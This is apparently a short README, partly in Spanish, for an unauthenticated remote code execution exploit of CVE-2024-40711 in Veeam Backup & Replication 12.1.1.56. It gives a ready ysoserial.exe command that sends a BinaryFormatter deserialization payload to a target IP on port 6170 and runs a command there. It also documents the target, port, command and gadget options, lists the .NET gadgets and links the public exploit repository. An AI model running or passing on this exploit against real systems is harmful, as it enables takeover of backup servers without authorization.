
CVE-2024-40711-exp
.\ysoserial.exe -f BinaryFormatter -g Veeam -c {localhostServer} -vi {targetIP} -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe"
Usage: ysoserial.exe [options]
Options:
--vi, --targetveeamip=VALUE
La dirección IP objetivo de Veeam Backup and Replication
--vp, --targetveeamport=VALUE
El puerto objetivo de Veeam Backup and Replication
(default: 6170)
--vc, --veeamexpcmd=VALUE
Los comandos que se ejecutarán en el objetivo de Veeam Backup and Replication
--vg, --veeamgadget=VALUE
El gadget que se usará en el objetivo de Veeam Backup and Replication
(default: DataSet)

Otro gadget
Supported gadgets are: ActivitySurrogateDisableTypeCheck , ActivitySurrogateSelector , ActivitySurrogateSelectorFromFile , AxHostState , BaseActivationFactory , ClaimsIdentity , ClaimsPrincipal , DataSet , DataSetOldBehaviour , DataSetOldBehaviourFromFile , DataSetTypeSpoof , Generic , GenericPrincipal , GetterCompilerResults , GetterSecurityException , GetterSettingsPropertyValue , ObjectDataProvider , ObjRef , PSObject , ResourceSet , RolePrincipal , SessionSecurityToken , SessionViewStateHistoryItem , TextFormattingRunProperties , ToolboxItemContainer , TypeConfuseDelegate , TypeConfuseDelegateMono , Veeam , WindowsClaimsIdentity , WindowsIdentity , WindowsPrincipal , XamlAssemblyLoadFromFile , XamlImageInfo
Pero debes usar Gadget para soportar SOAPFORMATTER
Veeam Backup 12.1.1.56
watchtowrlabs/CVE-2024-40711: Exploit sin autenticación para CVE-2024-40711 (github.com)